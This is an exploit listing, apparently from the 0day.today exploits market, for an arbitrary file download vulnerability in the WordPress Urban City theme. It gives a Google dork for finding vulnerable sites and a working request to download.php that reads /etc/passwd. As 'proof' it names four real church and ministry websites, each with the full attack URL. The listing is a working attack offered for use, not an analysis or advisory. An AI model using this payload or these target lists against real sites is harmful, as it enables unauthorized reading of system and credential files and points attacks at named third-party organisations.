[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

WordPress Urban City Arbitrary File Download Vulnerability

Author
Acc3ss
Risk
[
Security Risk High
]
0day-ID
0day-ID-22618
Category
web applications
Date add
09-09-2014
Platform
php
|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|
|-------------------------------------------------------------------------|
|[*] Exploit Title: Wordpress urban city Arbitrary File Download Vulnerability
|
|[*] Google Dork: inurl:wp-content/themes/urbancity
|
|[*] Date : Date: 2014-09-07
|
|[*] Exploit Author: Ashiyane Digital Security Team
|
|[*] Vendor Homepage : https://churchthemes.net/themes/urban-city/
|
|[*] Tested on: Windows 7
|
|-------------------------------------------------------------------------|
|
|[*] Location :
[localhost]/wp-content/themes/urbancity/lib/scripts/download.php?file=/etc/passwd
|
|-------------------------------------------------------------------------|
|[*] Proof:
|
|[*]
http://www.nlbcministries.org/wp-content/themes/urbancity/lib/scripts/download.php?file=/etc/passwd
|
|[*]
www.colonialhills.com/wp-content/themes/urbancity/lib/scripts/download.php?file=/etc/passwd
|
|[*]
http://iccpaix.org/wpblog/wp-content/themes/urbancity/lib/scripts/download.php?file=/etc/passwd
|
|[*]
http://praisecovenant.net/wp-content/themes/urbancity/lib/scripts/download.php?file=/etc/passwd
|
|-------------------------------------------------------------------------|
|[*] Discovered By : ACC3SS
|-------------------------------------------------------------------------|
|-------------------------------------------------------------------------|
|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|

#  0day.today [2024-11-16]  #